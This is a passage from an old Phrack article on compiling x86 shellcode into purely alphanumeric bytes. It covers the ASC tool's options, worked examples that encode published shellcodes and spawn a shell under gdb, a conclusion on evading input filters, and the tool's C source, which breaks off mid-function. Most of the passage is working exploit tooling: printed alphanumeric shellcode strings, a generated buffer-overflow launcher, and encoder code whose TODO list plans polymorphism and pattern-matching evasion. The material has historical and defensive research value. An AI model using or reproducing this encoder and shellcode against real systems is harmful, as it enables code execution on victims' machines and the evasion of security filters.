‑debug‑build‑jump : inserts a breakpoint before to build the jump code (if we specified the ‑s option). Useless if "‑s null".

‑debug‑jump : inserts a breakpoint before to run the jump instruction (if we specified the ‑s option). If "‑s null", the breakpoint will simply be at the end of the alphanumeric shellcode.

‑debug‑original : inserts a breakpoint to the beginning of the original shellcode. This breakpoint will be build at runtime.

INPUT/OUTPUT OPTIONS:

‑c[har] <char[] name> : specifies a C variable name where a shellcode is stored:

char array[]= "blabla" /* my shellcode */

"blabla";

If no name is specified and several char[] arrays are present, the first one will be used. The parsing recognizes C commentaries and multi‑lines arrays. This option also assure us that the input file is a C file, and not a binary file.

‑f[ormat] bin|c : specifies the output file format. If C format is chosen, ASC writes a tiny code to run the alphanumeric shellcode, by simulating a RET address overflow. This code cannot run correctly if "‑a <r32>" or "‑s null" options were used.

‑o[utput] <output file> : allows to specify the output filename.

EXAMPLES:

Let's finish with some practical examples, using shellcodes from nice previous Phrack papers ;)

First, have a look at P49‑14 (Aleph One's paper).

The first shellcode he writes (testsc.c) contain 00 bytes (normally not a problem for ASC). We generate a C file and an alphanumeric shellcode, using "XOR patches":

rix@debian:~/phrack$ ./asc ‑c shellcode ‑f c ‑o alpha.c p49‑14 Reading p49‑14 ... (61 bytes)

Shellcode (390 bytes): LLLLYhb0pLX5b0pLHSSPPWQPPaPWSUTBRDJfh5tDSRajYX0Dka0TkafhN9fYf1Lkb0TkdjfY \ 0Lkf0Tkgfh6rfYf1Lki0tkkh95h8Y1LkmjpY0Lkq0tkrh2wnuX1Dks0tkwjfX0Dkx0tkx0tky \ CjnY0LkzC0TkzCCjtX0DkzC0tkzCj3X0Dkz0TkzC0tkzChjG3IY1LkzCCCC0tkzChpfcMX1Dk \ zCCCC0tkzCh4pCnY1Lkz1TkzCCCCfhJGfXf1Dkzf1tkzCCjHX0DkzCCCCjvY0LkzCCCjdX0Dk \ zC0TkzCjWX0Dkz0TkzCjdX0DkzCjXY0Lkz0tkzMdgvvn9F1r8F55h8pG9wnuvjrNfrVx2LGkG \ 3IDpfcM2KgmnJGgbinYshdvD9d

Writing alpha.c ...

Done.

rix@debian:~/phrack$ gcc ‑o alpha alpha.c rix@debian:~/phrack$ ./alpha

sh‑2.03$ exit

exit

rix@debian:~/phrack$

It seems to work perfectly. Let's note the alphanumeric shellcode is also written to stdout.

Now, let's compile Klog's shellcode (P55‑08). We choose the "stack technique", with a JMP ESP to return to our original shellcode. We also insert some breakpoints:

rix@debian:~/phrack$ ./asc ‑m stack ‑s jmp ‑debug‑build‑jump ‑debug‑jump ‑debug‑original ‑c sc_linux ‑f c ‑o alpha.c P55‑08 Reading P55‑08 ... (50 bytes)

Shellcode (481 bytes): LLLLZhqjj9X5qjj9HPWPPSRPPafhshfhVgfXf5ZHfPDhpbinDfhUFfXf5FifPDSDhHIgGX51 \ 6poPDTYI11fhs2DTY01fhC6fXf5qvfPDfhgzfXf53EfPDTY01fhO3DfhF9fXf5yFfPDTY01fh \ T2DTY01fhGofXf5dAfPDTY01fhztDTY09fhqmfXf59ffPDfhPNDfhbrDTY09fhDHfXf5EZfPD \ fhV4fhxufXf57efPDfhl5DfhOSfXf53AfPDfhV4fhFafXf5GzfPDfhxGDTY01fh4IfXf5TFfP \ Dfh7VDfhhvDTY01fh22fXf5m5fPDfh3VDfhWvDTY09fhKzfXf5vWfPDTY01fhe3Dfh8qfXf5f \ zfPfhRvDTY09fhXXfXf5HFfPDfh0rDTY01fhk5fXf5OkfPfhwPfXf57DfPDTY09fhz3DTY09S \ QSUSFVDNfhiADTY09WRa0tkbfhUCfXf1Dkcf1tkc3UX

Writing alpha.c ...

Done.

rix@debian:~/phrack$ gcc ‑o alpha alpha.c rix@debian:~/phrack$ gdb alpha

GNU gdb 19990928

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686‑pc‑linux‑gnu"...

(no debugging symbols found)...

(gdb) run

Starting program: /home/rix/phrack/alpha

(no debugging symbols found)...(no debugging symbols found)... Program received signal SIGTRAP, Trace/breakpoint trap.

0xbffffb1d in ?? () ;‑debug‑build‑jump

(gdb) x/22i 0xbffffb1d

0xbffffb1d: push %ebx

0xbffffb1e: push %ecx

0xbffffb1f: push %ebx ;EDX will contain 0xFFFFFFFF 0xbffffb20: push %ebp

0xbffffb21: push %ebx

0xbffffb22: inc %esi ;ESI contains 0xFFFFFFFF. 0xbffffb23: push %esi ;ESI contains 0. 0xbffffb24: inc %esp ;00 00 00 on the stack. 0xbffffb25: dec %esi ;restores ESI. 0xbffffb26: pushw $0x4169 ;push an alphanumeric word. 0xbffffb2a: inc %esp ;an alphanumeric byte on the

stack.

0xbffffb2b: push %esp

0xbffffb2c: pop %ecx ;ECX contains ESP (the

address of the byte).

0xbffffb2d: xor %bh,(%ecx) ;NOT on this byte (EBP will

contain the dword offset).

0xbffffb2f: push %edi ;ESI will contain 0xFFFFFFFF 0xbffffb30: push %edx

0xbffffb31: popa

0xbffffb32: xor %dh,0x62(%ebx,%ebp,2) ;NOT on the first byte to

patch (our 0xCC, int3).

Let's note the use of

alphanumeric <disp8>, the

use of EBX (address of our

shellcode) and the use of

EBP (the previously stored

offset).

0xbffffb36: pushw $0x4355

0xbffffb3a: pop %ax ;AX contains 0x4355. 0xbffffb3c: xor %ax,0x63(%ebx,%ebp,2) ;XOR the next 2 bytes

disp8> is now 0x63).

0xbffffb41: xor %si,0x63(%ebx,%ebp,2) ;NOT these 2 bytes. (gdb) x/3bx 0xbffffb41+5 ;O16 + XOR + ModR/M +

SIB + <disp8> = 5 bytes

0xbffffb46: 0x33 0x55 0x58 ;The 3 bytes we patched:

NOT 0x33 = 0xCC => INT 3

NOT (0x55 XOR 0x55) = 0xFF

NOT (0x43 XOR 0x58) = 0xE4

JMP ESP

(gdb) cont

Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.

0xbffffb47 in ?? () ;‑debug‑jump

(gdb) x/1i 0xbffffb47

0xbffffb47: jmp *%esp ;our jump

(gdb) info reg esp

esp 0xbffffd41 ‑1073742527

(gdb) cont ;Let's run this JMP ESP.

Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.

0xbffffd42 in ?? () ;(previous ESP)+1

because of our INT3). We

are now in our original

shellcode.

(gdb) cont ;Let's run it ;)

Continuing.

sh‑2.03$ exit ;Finally!!!

exit

(no debugging symbols found)...(no debugging symbols found)... Program exited normally.

(gdb)

‑‑‑‑| Conclusion

Writing IA32 alphanumeric shellcodes is finally easily possible. But using only alphanumeric addresses is less obvious. In fact, this is the main problem met when we simply want to use alphanumeric chars.

In some particular cases, it will however be possible. We'll try to return to instructions that will themselves return to our shellcode. For example, on Win32 systems, we can sometimes meet interesting instructions at addresses like 0x0041XXXX (XX are alphanumeric chars). So we can generate such return addresses.

Partial overwriting of addresses is sometimes also interesting, because we can take advantage of bytes already present on the stack, and mainly take advantage of the null byte (that we cannot generate), automatically copied at the end of the C string.

Note that, sometimes, depending on what we try to exploit, we can use some others chars, for example '_', '@', '‑' or such classical characters. It is obvious, in such cases, that they will be very precious.

The "stack technique" seems to need an executable stack... But we can modify ESP's value at the beginning of our shellcode, and get it point to our heap, for example. Our original shellcode will then be written to the heap. However, we need to patch the POP ESP instruction, because it's not "alphanumeric compliant".

Except, the size (it will possibly lead to some problems), we also must mention another disadvantages of those techniques: compiled shellcodes are vulnerable to toupper()/tolower() conversions. Writing an alphanumeric and toupper()/tolower() resistant shellcode is nearly an impossible task (remember the first array, with usable instructions).

This paper shows that, contrary to received ideas, an executable code can be written, and stored nearly everywhere. Never trust anymore a string that looks perfectly legal: perhaps is it a well disguised shellcode ;)

Thanks and Hello to (people are alphanumerically ordered :p ):

‑ Phrack staff.

‑ Devhell, HERT & TESO guys: particularly analyst, binf, gaius, mayhem, klog, kraken & skyper.

‑ dageshi, eddow, lrz, neuro, nite, obscurer, tsychrana.

rix@hert.org

‑‑‑‑| Code

This should compile fine on any Linux box with "gcc ‑o asc asc.c". It is distributed under the terms of the GNU GENERAL PUBLIC LICENSE. If you have problems or comments, feel free to contact me (rix@hert.org).

<++> asc.c !707307fc

/***************************************

* ASC : IA 32 Alphanumeric Shellcode Compiler *

***************************************

*

* VERSION: 0.9.1

*

*

* LAST UPDATE: Fri Jul 27 19:42:08 CEST 2001

*

*

* LICENSE:

* ASC ‑ Alphanumeric Shellcode Compiler

*

* Copyright 2000,2001 ‑ rix

*

* All rights reserved.

*

* Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met:

* 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. *

* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE.

*

*

* TODO:

* ‑ create LibASC, a library containing all functions.

* ‑ permit specification of acceptable non‑alphanumeric chars. * ‑ generate padding instructions sequences.

* ‑ encode alphanumeric chars, to avoid pattern matching.

* ‑ insert junk instructions (polymorphic stuff) and modify existing. * ‑ optimize "patch technique" when offset < 256 and is alphanumeric. * ‑ automatically calculate padding size for "stack without jump" technique. * ‑ C output format: simulate addresses in register, padding,... * ‑ use constant address for compiled shellcode.

* ‑ modify ESP starting address for "stack technique".

* ‑ simple shellcode formats conversion mode (no compilation). * ‑ insert spaces and punctuation to imitate classical sentences. *

*

* CONTACT: rix <rix@hert.org>

*

***************************************

#include <stdio.h>

#include <getopt.h>

#include <stdarg.h>

#include <string.h>

#include <time.h>

/* +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* | RANDOM NUMBERS FUNCTIONS | */

/* +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* initialize the pseudo‑random numbers generator */

/* =====================================

void random_initialize() {

srand((unsigned int)time(0));

}

/* get a random integer i (0<=i<max) */

/* ================================= */

int random_get_int(int max) {

return (rand()%max);

}

/* +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* | SHELLCODES FUNCTIONS | */

/* +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* this structure will contain all our shellcodes */

/* =====================================

struct Sshellcode {

unsigned char* opcodes; /* opcodes bytes */

int size; /* size of the opcodes bytes */

};

/* allocate a new Sshellcode structure */

/* =================================== *

struct Sshellcode *shellcode_malloc() {

struct Sshellcode *ret;

if ((ret=(struct Sshellcode*)malloc(sizeof(struct Sshellcode)))!=NULL) { ret‑>opcodes=NULL;

ret‑>size=0;

}

return ret;

}

/* initialize an existing Sshellcode structure */

/* =====================================

void shellcode_zero(struct Sshellcode *shellcode) {

if (shellcode==NULL) return;

if (shellcode‑>opcodes!=NULL) free(shellcode‑>opcodes); shellcode‑>opcodes=NULL;

shellcode‑>size=0;

}

/* free an existing Sshellcode structure */

/* =====================================

void shellcode_free(struct Sshellcode *shellcode) {

if (shellcode!=NULL) {

shellcode_zero(shellcode);

free(shellcode);

}

}

/* return an allocated string from an existing Sshellcode */

/* =====================================

char *shellcode_malloc_string(struct Sshellcode *shellcode) { char *ret;

if (shellcode==NULL) return NULL;

if (shellcode‑>opcodes==NULL) return "";

if ((ret=(char*)malloc(shellcode‑>size+1))==NULL) return NULL; memcpy(ret,shellcode‑>opcodes,shellcode‑>size); ret[shellcode‑>size]=0;

return ret;

}

/* overwrite an existing Sshellcode with a Sshellcode */

/* =====================================

struct Sshellcode *shellcode_cpy(struct Sshellcode *destination,struct Sshellcode *source) { if (destination==NULL) return NULL;

shellcode_zero(destination);

if (source!=NULL) {

if (source‑>opcodes!=NULL) { /* if source contains a shellcode, we copy it */

if ((destination‑>opcodes=(unsigned char*)malloc(source‑>size))==NULL) return NULL; memcpy(destination‑>opcodes,source‑>opcodes,source‑>size); destination‑>size=source‑>size;

}

}

return destination;

}

/* append a Sshellcode at the end of an existing Sshellcode */

/* =====================================

struct Sshellcode *shellcode_cat(struct Sshellcode *destination,struct Sshellcode *source) { if (destination==NULL) return NULL;

if (destination‑>opcodes==NULL) shellcode_cpy(destination,source); else { /* destination already contains a shellcode */

if (source!=NULL) {

if (source‑>opcodes!=NULL) { /* if source contain a shellcode, we copy it */

if ((destination‑>opcodes=(unsigned char*)realloc(destination‑>opcodes, destination‑>size+source‑>size))==NULL) return NULL; memcpy(destination‑>opcodes+destination‑>size,source‑>opcodes,source‑>size); destination‑>size+=source‑>size;

}

}

}

return destination;

}

/* add a byte at the end of an existing Sshellcode */

/* =====================================

struct Sshellcode *shellcode_db(struct Sshellcode *destination,unsigned char c) { struct Sshellcode *ret,*tmp;

/* build a tiny one byte Sshellcode */

tmp=shellcode_malloc();

if ((tmp‑>opcodes=(unsigned char*)malloc(1))==NULL) return NULL; tmp‑>opcodes[0]=c;

tmp‑>size=1;

/* copy it at the end of the existing Sshellcode */

ret=shellcode_cat(destination,tmp);

shellcode_free(tmp);

return ret;

}

/* read a Sshellcode from a binary file */

/* ====================================

int shellcode_read_binary(struct Sshellcode *shellcode,char *filename) { FILE *f;

int size;

if (shellcode==NULL) return ‑1;

if ((f=fopen(filename,"r+b"))==NULL) return ‑1;

fseek(f,0,SEEK_END);

size=(int)ftell(f);

fseek(f,0,SEEK_SET);

if ((shellcode‑>opcodes=(unsigned char*)realloc(shellcode‑>opcodes,shellcode‑>size+size))==NULL) return ‑1; if (fread(shellcode‑>opcodes+shellcode‑>size,size,1,f)!=1) { shellcode_zero(shellcode);

return ‑1;

}

shellcode‑>size+=size;

fclose(f);

return shellcode‑>size;

}

/* read a Sshellcode from a C file */

/* =============================== */

#define LINE_SIZE 80*256

#define HEXADECIMALS "0123456789ABCDEF"

int shellcode_read_C(struct Sshellcode *shellcode,char *filename,char *variable) { FILE *f;

struct Sshellcode *binary;

unsigned char *hex,*p,c;

int i;

if (shellcode==NULL) return ‑1;

hex=HEXADECIMALS;

binary=shellcode_malloc();

if (shellcode_read_binary(binary,filename)==‑1) { shellcode_free(binary);

return ‑1;

}

shellcode_db(binary,0); /* for string searching */

p=binary‑>opcodes;

while (p=strstr(p,"char ")) { /* "char " founded */

p+=5;

while (*p==' ') p++;

if (!variable) { /* if no variable was specified */

while ((*p!=0)&&(*p!='[')) p++; /* search for the '[' */

if (*p==0) {

shellcode_free(binary);

return ‑1;

}

}

else { /* a variable was specified */

if (memcmp(p,variable,strlen(variable))) continue; /* compare the variable */

p+=strlen(variable);

if (*p!='[') continue;

}

/* *p='[' */

p++;

if (*p!=']') continue;

/* *p=']' */

p++;

while ((*p==' ')||(*p=='\r')||(*p=='\n')||(*p=='\t')) p++;

if (*p!='=') continue;

/* *p='=' */

p++;

while (1) { /* search for the beginning of a "string" */

while ((*p==' ')||(*p=='\r')||(*p=='\n')||(*p=='\t')) p++;

while ((*p=='/')&&(*(p+1)=='*')) { /* loop until the beginning of a comment */

p+=2;

while ((*p!='*')||(*(p+1)!='/')) p++; /* search for the end of the comment */

p+=2;

while ((*p==' ')||(*p=='\r')||(*p=='\n')||(*p=='\t')) p++; }

if (*p!='"') break; /* if this is the end of all "string" */

/* *p=begin '"' */

p++;

while (*p!='"') { /* loop until the end of the "string" */

if (*p!='\\') {

shellcode_db(shellcode,*p);

}

else {

/* *p='\' */

p++;

if (*p=='x') {

/* *p='x' */

p++;

*p=toupper(*p);

for (i=0;i<strlen(hex);i++) if (hex[i]==*p) c=i<<4; /* first digit */

p++;

*p=toupper(*p);

for (i=0;i<strlen(hex);i++) if (hex[i]==*p) c=c|i; /* second digit */

shellcode_db(shellcode,c);

}

}

p++;

}

/* end of a "string" */

p++;

}

/* end of all "string" */

shellcode_free(binary);

return shellcode‑>size;

}

shellcode_free(binary);

return ‑1;

}

/* write a Sshellcode to a binary file */

/* =================================== *

int shellcode_write_binary(struct Sshellcode *shellcode,char *filename) { FILE *f;

if (shellcode==NULL) return ‑1;

if ((f=fopen(filename,"w+b"))==NULL) return ‑1;

if (fwrite(shellcode‑>opcodes,shellcode‑>size,1,f)!=1) return ‑1; fclose(f);

return shellcode‑>size;

}

/* write a Sshellcode to a C file */

/* ============================== */

int shellcode_write_C(struct Sshellcode *shellcode,char *filename) { FILE *f;

char *tmp;

int size;

if (shellcode==NULL) return ‑1;

if ((tmp=shellcode_malloc_string(shellcode))==NULL) return ‑1;

if ((f=fopen(filename,"w+b"))==NULL) return ‑1;

fprintf(f,"char shellcode[]=\"%s\";\n",tmp);

free(tmp);

fprintf(f,"\n");

fprintf(f,"int main(int argc, char **argv) {\n");

fprintf(f," int *ret;\n");

size=1;

while (shellcode‑>size*2>size) size*=2;

fprintf(f," char buffer[%d];\n",size);

fprintf(f,"\n");

fprintf(f," strcpy(buffer,shellcode);\n");

fprintf(f," ret=(int*)&ret+2;\n");

fprintf(f," (*ret)=(int)buffer;\n");

fprintf(f,"}\n");

fclose(f);

return shellcode‑>size;

}

/* print a Sshellcode on the screen */

/* ================================ */

int shellcode_print(struct Sshellcode *shellcode) {

char *tmp;

if (shellcode==NULL) return ‑1;

if ((tmp=shellcode_malloc_string(shellcode))==NULL) return ‑1; printf("%s",tmp);

free(tmp);

return shellcode‑>size;

}

/* +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* | IA32 MACROS DEFINITIONS | */

/* +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* usefull macro definitions */

/* ========================= */

/*

SYNTAX:

r=register

d=dword

w=word

b,b1,b2,b3,b4=bytes

n=integer index

s=Sshellcode

*/

/* registers */

#define EAX 0

#define EBX 3

#define ECX 1

#define EDX 2

#define ESI 6

#define EDI 7

#define ESP 4

#define EBP 5

#define REGISTERS 8

/* boolean operators (bytes) */

#define XOR(b1,b2) (((b1&~b2)|(~b1&b2))&0xFF)

#define NOT(b) ((~b)&0xFF)

/* type constructors */

#define DWORD(b1,b2,b3,b4) ((b1<<24)|(b2<<16)|(b3<<8)|b4) /* 0xb1b2b3b4 */

#define WORD(b1,b2) ((b1<<8)|b2) /* 0xb1b2 */

/* type extractors (0=higher 3=lower) */

#define BYTE(d,n) ((d>>(n*8))&0xFF) /* get n(0‑3) byte from (d)word d */

/* IA32 alphanumeric instructions definitions */

/* =====================================

#define DB(s,b) shellcode_db(s,b);

/* dw b1 b2 */

#define DW(s,w) \

DB(s,BYTE(w,0)) \

DB(s,BYTE(w,1)) \

/* dd b1 b2 b3 b4 */

#define DD(s,d) \

DB(s,BYTE(d,0)) \

DB(s,BYTE(d,1)) \

DB(s,BYTE(d,2)) \

DB(s,BYTE(d,3)) \

#define XOR_ECX_DH(s) \

DB(s,'0') \

DB(s,'1') \

#define XOR_ECX_BH(s) \

DB(s,'0') \

DB(s,'9') \

#define XOR_ECX_ESI(s) \

DB(s,'1') \

DB(s,'1') \

#define XOR_ECX_EDI(s) \

DB(s,'1') \

DB(s,'9') \

// xor [base+2*index+disp8],r8

#define XORsib8(s,base,index,disp8,r8) \

DB(s,'0') \

DB(s,(01<<6|r8 <<3|4 )) \ DB(s,(01<<6|index<<3|base)) \

DB(s,disp8) \

// xor [base+2*index+disp8],r32

#define XORsib32(s,base,index,disp8,r32) \

DB(s,'1') \

DB(s,(01<<6|r32 <<3|4 )) \ DB(s,(01<<6|index<<3|base)) \

DB(s,disp8) \

#define XOR_AL(s,b) \

DB(s,'4') \

DB(s,b) \

#define XOR_AX(s,w) \

O16(s) \

DB(s,'5') \

DW(s,w) \

#define XOR_EAX(s,d) \

DB(s,'5') \

DD(s,d) \

#define INCr(s,r) DB(s,('A'‑1)|r)

#define DECr(s,r) DB(s,'H'|r)

#define PUSHr(s,r) DB(s,'P'|r)

#define POPr(s,r) DB(s,'X'|r)

#define POPAD(s) DB(s,'a')

#define O16(s) DB(s,'f')

#define PUSHd(s,d) \

DB(s,'h') \

DD(s,d) \

#define PUSHw(s,w) \

O16(s) \

DB(s,'h') \

DW(s,w) \

#define PUSHb(s,b) \

DB(s,'j') \

DB(s,b) \

#define INT3(s) \

DB(s,'\xCC') \

#define CALL_ESP(s) \

DB(s,'\xFF') \

DB(s,'\xD4') \

#define JMP_ESP(s) \

DB(s,'\xFF') \

DB(s,'\xE4') \

#define RET(s) \

DB(s,'\xC3') \

/* +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* | ALPHANUMERIC MANIPULATIONS FUNCTIONS | */

/* +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#define ALPHANUMERIC_BYTES "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMOPQRSTUVWXYZ"

/* return 1 if the byte is alphanumeric */

/* ====================================

int alphanumeric_check(unsigned char c) {

if (c<'0') return 0;

else if (c<='9') return 1;

else if (c<'A') return 0;

else if (c<='Z') return 1;

else if (c<'a') return 0;

else if (c<='z') return 1;

else return 0;

}

/* return a random alphanumeric byte */

/* ================================= */

unsigned char alphanumeric_get_byte() {

unsigned char *bytes=ALPHANUMERIC_BYTES;

return bytes[random_get_int(strlen(bytes))];

}

/* return a random alphanumeric byte b (c=CATEGORY_XOR,(b XOR(b XOR c))) */

/* =====================================

unsigned char alphanumeric_get_complement(unsigned char c) { unsigned char ret;

while (1) {

ret=alphanumeric_get_byte();

if (alphanumeric_check(XOR(c,ret))) return ret;

}

}

/* +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* | REGISTERS MANIPULATIONS FUNCTIONS | */

/* +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* return a random register in a set of allowed registers */

/* =====================================

#define M_EAX (1<<EAX)

#define M_EBX (1<<EBX)

#define M_ECX (1<<ECX)

#define M_EDX (1<<EDX)

#define M_ESI (1<<ESI)

#define M_EDI (1<<EDI)

#define M_ESP (1<<ESP)

#define M_EBP (1<<EBP)

#define M_REGISTERS (M_EAX|M_EBX|M_ECX|M_EDX|M_ESI|M_EDI|M_ESP|M_EBP)

int alphanumeric_get_register(int mask) {

int regs[REGISTERS];

int size,i;

size=0;

for (i=0;i<REGISTERS;i++) { /* for all possible registers */

if (mask&(1<<i)) regs[size++]=i; /* add the register if it is in our mask */

}

return regs[random_get_int(size)];

}

/* return a "POPable" register (ECX|EDX) with the shellcode's base address using the return address on the stack */

/* =====================================

int alphanumeric_get_address_stack(struct Sshellcode *s) { unsigned char ret;

if (s==NULL) return ‑1;

DECr(s,ESP); /* dec esp */

DECr(s,ESP); /* dec esp */

DECr(s,ESP); /* dec esp */

DECr(s,ESP); /* dec esp */

ret=alphanumeric_get_register(M_ECX|M_EDX); /* get a random register */

POPr(s,ret); /* pop ecx/edx =>pop the return value from the stack */

return ret;

}

/* initialize registers (reg=shellcode's base address) */

/* =====================================

int alphanumeric_initialize_registers(struct Sshellcode *s,unsigned char reg) { unsigned char b[4];

int i;

if (s==NULL) return ‑1;

if (reg==EAX) {

PUSHr(s,EAX); /* push eax =>address */

reg=alphanumeric_get_register(M_ECX|M_EDX); /* get a random register */

POPr(s,reg); /*pop ecx/edx */

}

for (i=0;i<4;i++) b[i]=alphanumeric_get_byte(); /* get a random alphanumeric dword */

PUSHd(s,DWORD(b[0],b[1],b[2],b[3])); /* push '????' */

POPr(s,EAX); /pop eax */

XOR_EAX(s,DWORD(b[0],b[1],b[2],b[3])); /* xor eax,'????' =>EAX=0 */

DECr(s,EAX); /dec eax =>EAX=FFFFFFFF */

PUSHr(s,alphanumeric_get_register(M_REGISTERS)); /* push r32 =>EAX */

PUSHr(s,alphanumeric_get_register(M_REGISTERS)); /* push r32 =>ECX */

PUSHr(s,EAX); /*push eax =>EDX=FFFFFFFF */

PUSHr(s,EAX); /*push eax =>EBX=FFFFFFFF */

PUSHr(s,alphanumeric_get_register(M_REGISTERS)); /* push r32 =>ESP */

PUSHr(s,reg); /*push reg =>EBP=address */

PUSHr(s,EAX); /*push eax =>ESI=FFFFFFFF */

PUSHr(s,EAX); /*push eax =>EDI=FFFFFFFF */

POPAD(s); popad */

return 0;

}

/* +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* | STACK MANIPULATIONS FUNCTIONS | */

/* +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* return the category of the byte */

/* =============================== */

#define CATEGORY_NULL 0

#define CATEGORY_00 1

#define CATEGORY_FF 2

#define CATEGORY_ALPHA 3

#define CATEGORY_ALPHA_NOT 4

#define CATEGORY_XOR 5

#define CATEGORY_XOR_NOT 6

int alphanumeric_stack_get_category(unsigned char c) {

if (c==0) return CATEGORY_00;

else if (c==0xFF) return CATEGORY_FF;

else if (alphanumeric_check(c)) return CATEGORY_ALPHA;

else if (c<0x80) return CATEGORY_XOR;

else { /* need a NOT */

c=NOT(c);

if (alphanumeric_check(c)) return CATEGORY_ALPHA_NOT;

else return CATEGORY_XOR_NOT;

}

}

/* make a NOT on 1,2,3 or 4 bytes on the stack */

/* =====================================

int alphanumeric_stack_generate_not(struct Sshellcode *s,int size) { if (s==NULL) return ‑1;

PUSHr(s,ESP); /* push esp */

POPr(s,ECX); /* pop ecx */

switch(size) {

case 1:

if (alphanumeric_get_register(M_EDX|M_EBX)==EDX) { XOR_ECX_DH(s); /* xor [ecx],dh */

}

else {

XOR_ECX_BH(s); /* xor [ecx],bh */

}

break;

case 2:

if (alphanumeric_get_register(M_ESI|M_EDI)==ESI) { O16(s);XOR_ECX_ESI(s); /* xor [ecx],si */

}

else {

O16(s);XOR_ECX_EDI(s); /* xor [ecx],di */

}

break;

case 3:

DECr(s,ECX); /* dec ecx */

case 4:

if (alphanumeric_get_register(M_ESI|M_EDI)==ESI) { XOR_ECX_ESI(s); /* xor [ecx],esi */

}

else {

XOR_ECX_EDI(s); /* xor [ecx],edi */

}

break;

}

return 0;

}

/* generate 1,2,3 or 4 bytes from a category on the stack */

/* =====================================

#define SB1 b[size‑1]

#define SB2 b[size‑2]

#define SB3 b[size‑3]

#define SB4 b[size‑4]

int alphanumeric_stack_generate_push(struct Sshellcode *s,int category,unsigned char *bytes,int size) { int reg,i;

unsigned char b[4];

unsigned char xSB1,xSB2,xSB3,xSB4;

if (s==NULL) return ‑1;

memcpy(b,bytes,4);

/* possibly realize a NOT on b[] */

if ((category==CATEGORY_ALPHA_NOT)||(category==CATEGORY_XOR_NOT)) { for (i=0;i<size;i++) b[i]=NOT(b[i]);

}

/* generate bytes on the stack */

switch(category) {

case CATEGORY_00:

case CATEGORY_FF: reg=alphanumeric_get_register(M_EDX|M_EBX|M_ESI|M_EDI);

if (category==CATEGORY_00) INCr(s,reg); /* inc r16 =>r16=0*/

switch(size) {

case 1:

O16(s);PUSHr(s,reg); /* push r16 */

INCr(s,ESP); /* inc esp */

break;

case 2:

O16(s);PUSHr(s,reg); /* push r16 */

break;

case 3:

PUSHr(s,reg); /* push r32 */

INCr(s,ESP); /* inc esp */

break;

case 4:

PUSHr(s,reg); /* push r32 */

break;

}

if (category==CATEGORY_00) DECr(s,reg); /* dec r16 =>r16=FFFFFFFF */

break;

case CATEGORY_ALPHA:

case CATEGORY_ALPHA_NOT:

switch(size) {

case 1:

PUSHw(s,WORD(SB1,alphanumeric_get_byte())); /* push SB1 */

INCr(s,ESP); /* inc esp */

break;

case 2:

PUSHw(s,WORD(SB1,SB2)); /* push SB1 SB2 */

break;

case 3:

PUSHd(s,DWORD(SB1,SB2,SB3,alphanumeric_get_byte())); /* push SB1 SB2 SB3 */

INCr(s,ESP); inc esp */

break;

case 4:

PUSHd(s,DWORD(SB1,SB2,SB3,SB4)); /* push SB1 SB2 SB3 SB4 */

break;

}

break;

case CATEGORY_XOR:

case CATEGORY_XOR_NOT:

switch(size) {

case 1:

xSB1=alphanumeric_get_complement(SB1); PUSHw(s,WORD(XOR(SB1,xSB1),alphanumeric_get_byte())); /* push ~xSB1 */

O16(s);POPr(s,EAX); /* pop ax */

